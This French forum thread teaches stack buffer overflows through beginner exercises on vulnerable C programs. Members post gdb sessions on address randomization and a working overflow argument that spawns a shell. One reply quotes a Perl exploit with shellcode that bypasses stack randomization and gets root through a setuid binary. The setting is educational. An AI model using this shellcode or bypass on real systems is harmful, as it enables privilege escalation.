Voir la version complète : Petits jeux pour comprendre les "buffer overflow"
Bon alors il semble que des gens s'interessent à la sécurité sur le Forum.
C'est pour cela que je vous propose un petit jeu que j'avais fait à l'époque et dont l'objectif et d'apprendre à exploiter les "buffer overflow" sous Unix et plus particulièrement sous LINUX.
Alors je ne sais pas si ca va intéresser quelqu'un mais je lance l'idée et puis on verra...
Pour commencer je vous donne le petit programme C suivant:
---- newbie1.c -----
#include <stdio.h>
int main (int argc, char **argv)
{
int crap;
int check;
char buf[20];
strcpy(buf, argv[1]);
if (check==0xdeadbeef)
{
system("/bin/tcsh");
}
}
---- newbie1.c -----
L'objectif ici est de me donner la réponse sous forme d'un petit programme C qui construira le buffer, puis qui exécutera le programme ci dessus compilé, en passant le buffer attendu en argument.
L'objectif ici est de rentrer dans la partie de code suivante:
if (check==0xdeadbeef)
{
system("/bin/tcsh");
}
Allez à vous de jouer ! :)
Boss_Med
06/04/2008, 00h16
j'aime énormement ces trucs mais je comprend pas en c :(
mais je v comme meme chercher :)
EDIT:l'idée est de faire passer plus que 20 caractère c'est ça ? :)
Ouép :) L'idée des 20 char est bien la.
Mais la c'est du C niveau débutant donc c'est le moment de s'y mettre. La réponse ne doit pas dépasser une dizaine de lignes et encore je suis gentil :)
Boss_Med
06/04/2008, 00h31
ah tu es gentil !! :D ok accroche toi aux questions dans ce cas la :D
pour commencer une simple question ^_^ qu'est ce que c'est les "**"
Edit:Le programme ne marche pas chez moi il m'écrit que "strcpy" doit étre déclaré ou quelque chose comme ça :S
Google est ton ami ;)
Tu trouveras plein de tutoriaux sur le language C en ligne.
Bon courage :)
mouradski_21
06/04/2008, 02h16
Salem,
donne nous le but recherché par la manip comme indice et j'essaierais de trouver! sans google, c'est promis..:cool:
mouradski_21
06/04/2008, 02h39
n'ayant pas la reponse je me permet de repondre au question de Boss_med,
les (int argc, char **argv) c'est equivalant au (int argc, string args[]) du java.
le char *args c'est pour representer une chaine de caractere, args est un pointeur pointant vers la case memoire contenant le premier caractere et tout ce qui suit (les cases) sont la suite de la chaine jusqu'a un caractere special, pour la 2eme * c'est pr dire que c'est un pointeur de pointeur de char (argv), autrement dit un tableau (suite de cases "pointeur" de type char) et tout comme java le [index] permetera d'acceder (faire le calcul d'@) pour acceder à l'élément voulu (ici pointeur de char ou en langage up : un string).........je me suis moi meme embrouillé.
bref, le vecteur argv c'est la suite de chaine pris en argument par le programme, comme par ex format c: /q , ici argv[0] est "c:" et argv[1] est "/q", et argc = 2 puisqu'il y'a 2 params.
dsl lyas pour le HS.
assilabox
06/04/2008, 13h08
A vrai dire je n'ai pas très bien saisi l'objectif. Si je comprend bien le but est de provoquer un débordement du buffer.
L'objectif ici est de rentrer dans la partie de code suivante:
if (check==0xdeadbeef)
{
system("/bin/tcsh");
}
:)
Pour s'y faire il faut rajouter des lignes de code dans la structure conditionnelle IF...
L'objectif ici est de me donner la réponse sous forme d'un petit programme C qui construira le buffer, puis qui exécutera le programme ci dessus compilé, en passant le buffer attendu en argument.
Tu parles aussi de programme compilé... cela veut dire que pour causer le débordement il fraudera analyser le code machine généré par ton code.
c'est bien ça ?
فهم السؤال ، نصف الجواب
:)
Bon ok je n'ai pas été très clair...
Je vous prépapre une petite démo histoire que vous compreniez un peu mieux le principe :)
A tout d'suite ;)
Bon alors pour commencer on va faire plus simple... :)
Prenons le code suivant:
/* newbie1.c */
#include <stdio.h>
int main(int argc, char **argv)
{
int crap;
int check;
char buf[20];
if (argc < 2)
exit(1);
strcpy(buf,argv[1]);
if (check==0x42424242)
system("/bin/sh");
}
/* newbie1.c */
La première question à se poser est: que fait le code ci dessus ?
Et bien c'est simple, dans un premier temps il copie argv[1] dans buf.
argv[1] ici est l'argument passé au programme lors de son exécution.
Puis, il compare la valeur de l'entier check, et si ce dernier est bien égal à 0x42424242 et bien il exécute system("/bin/sh");.
Pas très compliqué hun ? :)
Donc biensur il vous faut un linux à disposition...
[cb@ns34229 cb]$ vi newbie1.c
On copie colle le code ci dessus, puis on le compile:
[cb@ns34229 cb]$ gcc -o newbie1 newbie1.c
[cb@ns34229 cb]$
L'objectif maintenant est d'obtenir l'exécution de system("/bin/sh") en passant le buffer qui convient en argument:
[cb@ns34229 cb]$ ./newbie1 abcdefghj
[cb@ns34229 cb]$
Il ne se passe donc rien...
Maintenant voilà ce que ca donne avec la bonne réponse (que je vais cacher bien évidemment) :
[cb@ns34229 cb]$ ./newbie1 [le_buffer_magique]
sh-2.05$
On constate que le programme newbie1 à bien exécuté la partie du code system("/bin/sh");
Pour ce premier exercice, pas besoin de coder quoi que ce soit :) Il vous suffit de passer le bon argument au programme newbie1.
Voilà :) J'espere que c'est un peu plus clair :)
Salam :)
j'ai pas lu ton dernier message, j'ai utilisé l'exemple de ton premier message voici l'exploit lol:
#include <stdio.h>
int main (int argc, char **argv)
{
printf("owned sans da3wet echar :)\n");
system("./newbie1 11111111111111111111AAAA\xef\xbe\xad\xde");
}
Ben ca à l'air d'être ca :) T'es testé ca marche ? ;)
Sur le linux sur lequel j'ai testé, je dois mettre quelque chose comme 46 char avant d'écrire sur check :) Ca fait ca chez toi aussi ?
Et puis heu system() interprète bien les \xfe ? je ne savais pas ca :) Je préfère utiliser execl et passer le buffer direct en argument :)
mouradski_21
06/04/2008, 16h49
Salem,
ça demande des connaissances dans la compilation des des environements (organisation memoire), j'ai trouvé un doc qui en parle, le temps de finir le boulot, de le lire et je reviens tenter ma chance.
salut lyas,
Oui j'ai testé ça marche.
Pourquoi 46 chars chez toi?
Prochain exemple trouve nous un truc avec shell code et functions :).
mouradski_21
06/04/2008, 16h59
stop stop stop stop....c'est trop facile de donner la solution comme ça, faut poster le pourquoi de la chose, j'exige une explication...
Amine,
Chaque chose en son temps ;)
Aller un autre un peu plus complexe:
/* Newbie2.c */
int main(int argc, char **argv)
{
int crap;
int *check;
char buf[20];
if (argc < 2)
exit(1);
strcpy(buf,argv[1]);
if (*check==0xdeadbeaf)
system("/bin/sh");
}
Have fun ;)
assilabox
06/04/2008, 18h17
Salam,
Je suis du même avis que mouardski_21, peut-on espérer recevoir une explication avant de continuer!
Merci les amis
stop stop stop stop....c'est trop facile de donner la solution comme ça, faut poster le pourquoi de la chose, j'exige une explication...
Boss_Med
06/04/2008, 19h14
+1 on veut une explication
et mourad merci pour l'explication :)
Bon ok je vais essayer d'expliquer tout ca correctement.
Bon vous le savez peut être déja, nous sommes ici en présence d'un buffer overlow soit un débordement de tampon...
La fonction strcpy (man strcpy) copie le contenu d'un buffer à destination d'un autre buffer sans controler la taille de ce qu'elle va copier.
Dans l'exemple argv[1] est l'argument passé au programme et de taille illimitée. Hors buffer[20] lui ne peut contenir que 20 élements (de 0 à 19).
Si nous dépassons ces 20 éléments, nous sortons de notre buffer pour aller écrire dans le reste de la mémoire (la stack).
Ici Lorsque nous sortons du buffer et que nous dépassons les 20 éléments autorisés, nous remontons dans la stack pour écrire ensuite sur l'entier check et ainsi de suite...
Donc la solution donne logiquement quelque chose comme ca:
[buf 20 elements][int check][int crap]
soit
[AAAAAAAAAAAAAAAAAAAA][\xef\xbe\xad\xde][int crap]
Ensuite les alignements, les processeurs etc..etc.. ne permettent pas forcément de tomber pile sur le nombre de caractère exact.. Il faut donc y aller a taton pour chercher a quel moment on écrit au bon endroit dans la mémoire...et c'est la que gdb est votre ami ;) (man gdb).
Bon je ne sais pas si ca sera très clair pour tout le monde :)
Vous pouvez toujours poser des questions et j'essaierai d'y répondre le plus clairement possible. Amine, je veux bien ton aide sur ce coup la puisque tu es le seul à avoir trouvé la soluce du premier exercice.
++
mouradski_21
06/04/2008, 22h07
Merci Ilyas, je crois avoir compris, et aussi la dificulté "int *check" c'est qu'on declare un pointeur vers un entier et non pas un emplacement statique dans la pile de l'environement d'execution.
la normalement on doit bidouiller le code, non ??
mouradski_21,
Oui tu as bien compris.
Dans le 2è exercice tu dois, toujours par l'intermédiaire de l'argument du programme vulnérable (argv[1]), controler deux adresses.
L'objectif est de faire pointer l'adresse du pointer à destination d'une adresse ou se trouve 0xdeadbeaf...Pas facile hun ? :)
Mais non tu n'as rien a bidouiller mis à part faire comme Amine, c'est a dire construire le buffer adapter et le passer en paramètre au programme.
Toujours personne pour la solution du 2e exo ? :)
Amine ? :)
Le code à exploiter est le suivant:
/* Newbie2.c */
int main(int argc, char **argv)
{
int crap;
int *check;
char buf[20];
if (argc < 2)
exit(1);
strcpy(buf,argv[1]);
if (*check==0xdeadbeaf)
system("/bin/sh");
}
Salut lyas :)
J'ai parlé trop vite en demandant des trucs compliqués lol.
Ben j'ai bien essayé ici , mais je n'ai pas réussi.
En fait un processus quand il est crée initialise son propre espace d'adressage , donc il n'aura pas accés aux données du prog précédent.
SAUF si je n'ai pas bien "investigué" dans la piste du fork :).
En tout cas j'ai pu passer le pointeur vers une zone mem partagée mais sa valeur est réinitialisée dans le nouveau prog.
J'essayerai plus tard un peu plus :)
Salam,
Je pense que la tu vas beaucoup trop loin dans ton investigation :)
L'idée ici est de controler l'adresse du pointer sur entier pour ensuite le faire pointer à une adresse ou se trouve le résultat attendu soit 0xdeadbeaf.
Le seul conseil que je peux te donner c'est d'utiliser une adresse qui pointe dans buf[20]. Donc dans un premier temps essaie de trouver l'adresse de buf.
Et n'oublie pas, la commande gdb est ton amie ;)
mouradski_21
08/04/2008, 12h15
Salut lyas :)
J'ai parlé trop vite en demandant des trucs compliqués lol.
Ben j'ai bien essayé ici , mais je n'ai pas réussi.
En fait un processus quand il est crée initialise son propre espace d'adressage , donc il n'aura pas accés aux données du prog précédent.
SAUF si je n'ai pas bien "investigué" dans la piste du fork :).
En tout cas j'ai pu passer le pointeur vers une zone mem partagée mais sa valeur est réinitialisée dans le nouveau prog.
J'essayerai plus tard un peu plus :)
je ne comprends pas ou est le probleme Amine !? une @ est unique quelque soit le prog qui l'exploite!!! sans dire trop de conneries car je ne sais si le pointeur est en far (segment:offset) et comment c'est organisé en C :), alors une solution est de faire un autre prog qui créera un pointeur d'entier et initialise une valeur "0xdeadbeaf" et lance
une instance du prog Newbie2.out avec comme parametre une chaine contenant le pointeur précedent (comme vous avez fait au debut avec la chaine bizzaroiide)
Salut les amis,
@mouradski
Non mouradski, ... pour chaque processus sous linux le système crée un nouvel espace d'adressage! donc le paging sera different, et rien ne garanti que la même adresse pointera vers la meme case mémoire physique (sauf dans le cas des IPC, shared meme et autres , mais pour ça il faut que les deux process collaborent (ou s'attachent à la mémoire partagée). Wallahou A3lam :)
@lyas:
J'y ai pensé, j'ai même pensé à mettre la valeur deadbeef dans crap et pointer *check vers crap, MAIS justement le problème c'est qu'on ne peut pas savoir où le système posera buf ou crap. Rien ne garanti à quelle adresse ils se trouveront dans le deuxieme processus. :)
Enfin j'espere que je ne dis pas de bétise :) lol
@lyas:
Enfin en y repensant, vu que le système utilise le format Elf, donc les adresses seront sauvegardés sous format d'offset (displacement) , donc on pourra trouver une valeur check à faire passer au deuxième prog.
Je vais voir.
EDIT :D lol
En y re-re-re-pensant non, à part addresse hardwired, et spécifique à une execution , je ne vois pas comment on pourrait trouver l'addresse où l'OS posera buf!
Enfin j'ai bu 2 litres de café ce matin, donc mon cerveau est peut etre en panne lol.
mouradski_21
08/04/2008, 13h56
MERCI les amis, je viens de me rappeler pourquoi je ne fais que du managé..:) enzid enhawedkem echwiya eytikhli 3ork..:)
EDIT :D lol
En y re-re-re-pensant non, à part addresse hardwired, et spécifique à une execution , je ne vois pas comment on pourrait trouver l'addresse où l'OS posera buf!
Enfin j'ai bu 2 litres de café ce matin, donc mon cerveau est peut etre en panne lol.
Si normalement, l'adresse de buf reste la même à chaque execution.
Deux solution pour récuperer l'adresses de buf:
1 - Tu modifies le prog newbie2.c et tu fais affichier l'adresse de buf
2 - Tu utilises gdb :)
Salut lyas!
J'ai bien essayé, l'adresse change à chaque fois :) , rien ne garantis où le loader mettera le text data ..... donc on ne pourra écrire un programme qui marche à tous les coups (ou sur plusieurs machines différentes) .
Sinon j'avais pensé à une méthode mais je ne suis pas arrivé à l'appliquer: mettre 0xdeadbeef dans l'espace kernel (et lancer les progs en root) où alors les mettre dans une variable shell par exemple , mais je n'ai pas pu l'appliquer encore.
Ou même écrire une sorte de programme qui supervise l'execution, comme le ferai gdb.
En résumé je suis sur qu'il y a des solutions , mais un peu difficiles à automatiser.
Salut lyas!
J'ai bien essayé, l'adresse change à chaque fois :) , rien ne garantis où le loader mettera le text data ..... donc on ne pourra écrire un programme qui marche à tous les coups (ou sur plusieurs machines différentes) .
Sinon j'avais pensé à une méthode mais je ne suis pas arrivé à l'appliquer: mettre 0xdeadbeef dans l'espace kernel (et lancer les progs en root) où alors les mettre dans une variable shell par exemple , mais je n'ai pas pu l'appliquer encore.
Ou même écrire une sorte de programme qui supervise l'execution, comme le ferai gdb.
En résumé je suis sur qu'il y a des solutions , mais un peu difficiles à automatiser.
Comment fais tu pour afficher l'adresse de buf ?
Car je pense que tu te plantes ;)
Voici une petite démonstration effectuée sous MAC OS X Intel avec gdb qui te pourveras bien que l'adresse de buf ne change pas. Pour faciliter la démonstration j'ai compilé le programme avec l'option -ggdb.
Donc on commence par compiler le programme:
cb:~ cb$ gcc -ggdb -o newbie2 newbie2.c
cb:~ cb$
On utilise ensuite gdb:
cb:~ cb$ gdb ./newbie2
NU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct 2 04:07:49 UTC 2007)
<snip>
This GDB was configured as "i386-apple-darwin"...Reading symbols for shared libraries ... done
(gdb)
On ajoute un break dans main lors de l'execution afin de permettre l'execution pas à pas du programme:
(gdb) break main
Breakpoint 1 at 0x1faf: file newbie2.c, line 10.
(gdb)
On lance suite le programme avec comme argument "AAAABBBB".
Notons ici que A en hexa = 0x41 et B = 0x42
(gdb) run AAAABBBB
Starting program: /Users/cbailleux/newbie2 AAAABBBB
Reading symbols for shared libraries ++. done
Breakpoint 1, main (argc=2, argv=0xbffff7bc) at newbie2.c:10
10 if (argc < 2)
(gdb)
On execute le programme "step by step" afin d'arriver jusqu'a la fonction strcpy:
(gdb) step
13 strcpy(buf,argv[1]);
(gdb) step
15 if (*check==0xdeadbeaf)
(gdb)
On affiche l'adresse de buf:
(gdb) printf "%p\n", buf
0xbffff774
(gdb)
On vérifie que c'est bien l'adresse de buf en vérifiant le contenu de cette adresse. On devrait ici trouver 0x41414141:
(gdb) x 0xbffff774
0xbffff774: 0x41414141
(gdb)
Donc ici l'adresse de buf est bien 0xbffff774.
Je refais donc une deuxième exécution pour vérifier si on garde la même adresse:
(gdb) run AAAABBBB
Starting program: /Users/cbailleux/newbie2 AAAABBBB
Reading symbols for shared libraries ++. done
Breakpoint 1, main (argc=2, argv=0xbffff7bc) at newbie2.c:10
10 if (argc < 2)
(gdb) printf "%p\n", buf
0xbffff774
(gdb)
Voilà l'adresse reste la même :)
Donc Amine je pense que tu te plantes quelque part... Certes je ne suis pas sous Linux mais bon le comportement est identique surtout sur une architecture INTEL...
La je t'ai maché une partie du boulot donc à toi de faire le reste :P
Salam lyas ;)
Tout d'abord merci pour ce thread très didactique ;)
Finalement je vois la différence, tu es sous MacOS, je suis sous Linux (debian etch, kernel 2.6.18-6)
Pour savoir que l'adresse changeait chez moi j'ajoutais un simple : printf("val check %x\n",buf); dans newbie2.c
Et j'ai aussi essayé ta méthode avec gdb , et ça change à chaque fois chez moi :) donc c'est surement dû aux différences linux vs MacOS (peut-être même un gage de sécurité de linux lol)
(gdb) break main
Breakpoint 1 at 0x80483d8: file essai.c, line 9.
(gdb) run AAAABBBB
Starting program: /home/rough/dev/essai AAAABBBB
Failed to read a valid object file image from memory.
Breakpoint 1, main (argc=2, argv=0xbff9e0b4) at essai.c:9
9 if (argc < 2)
(gdb) step
12 strcpy(buf,argv[1]);
(gdb) step
25 if (*check==0xdeadbeef)
(gdb) printf "%p\n",buf
internal error in printf_command
(gdb) printf "%x\n",buf
bff9e008
(gdb) 0xbff9e008
Undefined command: "0xbff9e008". Try "help".
(gdb) x 0xbff9e008
0xbff9e008: 0x41414141
(gdb) run AAAABBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/rough/dev/essai AAAABBBB
Failed to read a valid object file image from memory.
Breakpoint 1, main (argc=2, argv=0xbfa3c354) at essai.c:9
9 if (argc < 2)
(gdb) step
12 strcpy(buf,argv[1]);
(gdb) step
25 if (*check==0xdeadbeef)
(gdb) printf "%x\n",buf
bfa3c2a8
(gdb) x 0xbff9e008
0xbff9e008: Cannot access memory at address 0xbff9e008
(gdb) x 0xbfa3c2a8
0xbfa3c2a8: 0x41414141
(gdb)
Hahah oué excellent désolé d'avoir douté de tes compétences ;)
Bon alors logiquement le seul truc qui que je connais qui permette de faire ca c'est PAX avec son "randam address spaces". Ensuite ca fait un petit moment que j'ai pas mis les mains dans le Kernel de linux alors il se peut qu'ils aient ajouté ca par défaut. Et ce n'est pas un mal :)
Alors il reste une solution qui peut fonctionner c'est l'environnement :)
Tu exportes dans ton shell une variable genre CHECK qui contient le 0xdeadbeaf et toujours grace à gdb tu regardes si celle ci est modifiée à chaque execution.
Pour info l'environnement se trouve toute à la fin de la mémoire du programme. Pour la retrouver plus facilement tu fais un truc du genre: export CHECK=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Et ensuite tu fais pointer le pointeur dans cet env pour tomber sur 0xdeadbeaf.
J'essaierai de faire les tests sur un lnx dès que possible histoire de voir si j'ai le même comportement.
MDR... J'ai trop l'habitude de JAVA et du ramasse miettes qui fait le ménage lol
Amine,
Bon j'ai compris d'ou ca vient cette histoire de randomization des adresses...
Donc voici le test que j'ai effectué sous Ubuntu:
cb@www:~$ ./yo AAAAAAAAAA
Addresse de buf: 0xbfff0a0c
cb@www:~$ ./yo AAAAAAAAAA
Addresse de buf: 0xbfa3945c
cb@www:~$ ./yo AAAAAAAAAA
Addresse de buf: 0xbfb61d8c
Et voilà ce que je vois lorsque je regarde à quelles libs est linké le programme:
cb@www:~$ ldd ./yo
linux-gate.so.1 => (0xb7f13000)
libc.so.6 => /lib/libc.so.6 (0xb7dd8000)
/lib/ld-linux.so.2 (0xb7f14000)
Et la réponse se trouve dans la lib linux-gate.so.1
C'est elle qui fait en sorte que la stack de ton programme soit random...
Du coup j'ai vérifié, même les adresses de l'environnement sont random...
Donc faut trouver un contourmement ce qui est tout à fait faisable mais peut être pas dans l'exercice proposé.
Sinon faut compiler sans cette lib afin de pouvoir faire l'exercice dans une configuration standard.
Voilà en gros pourquoi ton adresse de buffer change à chaque fois..
assilabox
09/04/2008, 20h10
Salam
d'après un article de wikipedia (http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon#Saut_indirect), il est possible de contourner cette vue que la commande Strcpy touche au registre eax, ce dernier contient une adresse proche de celle du buffer ...
Pour ceux qui veulent comprendre plus sur le buffer overflow, l'article en question (http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon) contient un très bonne explication du dépassement de tampon :)
Salam
d'après un article de wikipedia (http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon#Saut_indirect), il est possible de contourner cette vue que la commande Strcpy touche au registre eax, ce dernier contient une adresse proche de celle du buffer ...
Pour ceux qui veulent comprendre plus sur le buffer overflow, l'article en question (http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon) contient un très bonne explication du dépassement de tampon :)
Salam,
Tiens l'article qui décrit comment contourner la lib en question :
http://milw0rm.org/papers/55
Il faudrait voir si du coup cette si solution est applicable au programme newbie2.c.
Notons que dans l'article nous somme en présence d'une exploitation réelle d'un buffer overflow, avec positionnement d'un shellcode dans la stack et modification de l'adresse de retour du programme.
On va peut être un peu vite en besogne la ... L'idée était d'y aller progressivement afin de ne pas passer les étapes trop rapidement mais la je crois que c'est loupé :)
Un autre exemple de contournement de la lib-gate et en PERL cette fois :)
#!/usr/bin/perl -w
use strict;
#
# [exp_call_rand.pl] Mon Apr 3 19:17:14 CEST 2006
#
# Exploit solution against 2.6 stack randomization
# Using the "call *%edx" technic.
#
# Copyright: bunker - http://rawlab.mindcreations.com
# 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
#
# EXPLANATION: In 2.6 kernel we have a ghost library named
# "linux-gate.so.1". It's a virtual DSO, a shared
# object exposed by the kernel at a fixed address
# in every process' memory. This part of memory
# isn't randomized, so we can explore it to find
# useful "call" or "jmp" instructions!
# In this example we find "call *%edx" in memory
# so we can execute shellcode passed to vulnerable
# file by second argument ;-)
#
#
# [Find "call *%edx" in memory]
#
# bunker@syn:~/vuln$ ldd vuln_prog
# linux-gate.so.1 => (0xffffe000) <--- NOT RANDOM
# libc.so.6 => /lib/tls/libc.so.6 (0xb7e84000)
# /lib/ld-linux.so.2 (0xb7fcd000)
#
# bunker@syn:~/vuln$ gdb vuln_prog
# (gdb) break main
# Breakpoint 1 at 0x80483ad
# (gdb) run
# Starting program: /home/bunker/vuln/vuln_prog
# Breakpoint 1, 0x080483ad in main ()
# (gdb) x/i 0xffffe000
# 0xffffe000: jg 0xffffe047
# (gdb)
# 0xffffe002: dec %esp
# (gdb)
# 0xffffe003: inc %esi
# ...
# (gdb)
# 0xffffe74f: call *%edx <- Interesting, use this!!
#
# bunker@syn:~/vuln$ cat vuln_prog.c
# int main(int argc, char **argv) {
# char buf[256];
# strcpy(buf, argv[1]);
# }
#
# bunker@syn:~/vuln$ ls -al vuln_prog
# -rwsr-xr-x 1 root users 8340 2006-04-02 20:11 vuln_prog
#
# bunker@syn:~/vuln$ perl exp_call_rand.pl 68
# sh-3.1# id
# uid=0(root) gid=100(users) groups=17(audio),18(video),19(cdrom),100(users)
die "Usage: $0 <num>\n [ vuln_buf < 4byte_ret * num ]\n"
if ($#ARGV != 0);
my $num = $ARGV[0];
print "Using multiplication factor $num...\n";
# call *%edx
my $ret = 0xffffe74f;
# shellcode
my $sc = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x6a\x0b\x58".
"\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e".
"\x89\xe3\x52\x53\x89\xe1\xcd\x80";
# vulnerable file
my $vuln = "./vuln_prog";
# build buffer
my $buf = pack("L",$ret)x$num;
# boom! :-D
exec $vuln, $buf, $sc;
Bon alors après analyse il semblerait que dans les exemples ci dessus l'adresse de la lib-gate.so.1 récuperée via ldd ne soit pas random..
Ben super mais chez moi ce n'est pas l'cas..
cb@www:~$ ldd yo
linux-gate.so.1 => (0xb7fe0000)
libc.so.6 => /lib/libc.so.6 (0xb7ea5000)
/lib/ld-linux.so.2 (0xb7fe1000)
cb@www:~$ ldd yo
linux-gate.so.1 => (0xb7fb8000)
libc.so.6 => /lib/libc.so.6 (0xb7e7d000)
/lib/ld-linux.so.2 (0xb7fb9000)
Amine, pourrais tu s'il te plait vérifier chez toi voir si tu as le même comportement ?
Parce que la ca complique légèrement les choses :)
Ah désolé , j'avais pas vu ton dernier message!
tu voulez donc ça? :
rough@ufo79:~/dev$ ldd essai
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e44000)
/lib/ld-linux.so.2 (0xb7f95000)
rough@ufo79:~/dev$ ldd essai
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dec000)
/lib/ld-linux.so.2 (0xb7f3d000)
rough@ufo79:~/dev$ ldd essai
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e40000)
/lib/ld-linux.so.2 (0xb7f91000)
Ah désolé , j'avais pas vu ton dernier message!
tu voulez donc ça? :
rough@ufo79:~/dev$ ldd essai
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e44000)
/lib/ld-linux.so.2 (0xb7f95000)
rough@ufo79:~/dev$ ldd essai
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dec000)
/lib/ld-linux.so.2 (0xb7f3d000)
rough@ufo79:~/dev$ ldd essai
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e40000)
/lib/ld-linux.so.2 (0xb7f91000)
Salam,
Alors t'as vu la différence ?
Toi l'adresse linux-gate.so.1 => (0xffffe000) ne change jamais alors que moi elle change en permance... Conlusion sur ton système tu peux bypasser cette protection...
Moi pour ma part c'est un peu plus compliqué que prévu. Essaie de suivre la procédure de contournement et vois si tu peux l'appliquer à newbie2.c. Perso je ne crois pas mais je me trompe peut être.
Cette solution doit fonctionner uniquement lorsque tu inctercèptes l'execution d'un programme en modifiant l'adresse de retour. Enfin il faut vérifier.
Si t'as le temps pour jeter un coup d'oeuil... Moi de mon coté je vais essayer de trouver un système identique au tiens..
A suivre donc... :)
vBulletin® v.3.7.3, Copyright ©2000-2008, Jelsoft Enterprises Ltd. Tous droits réservés - Version française vbulletin-fr.org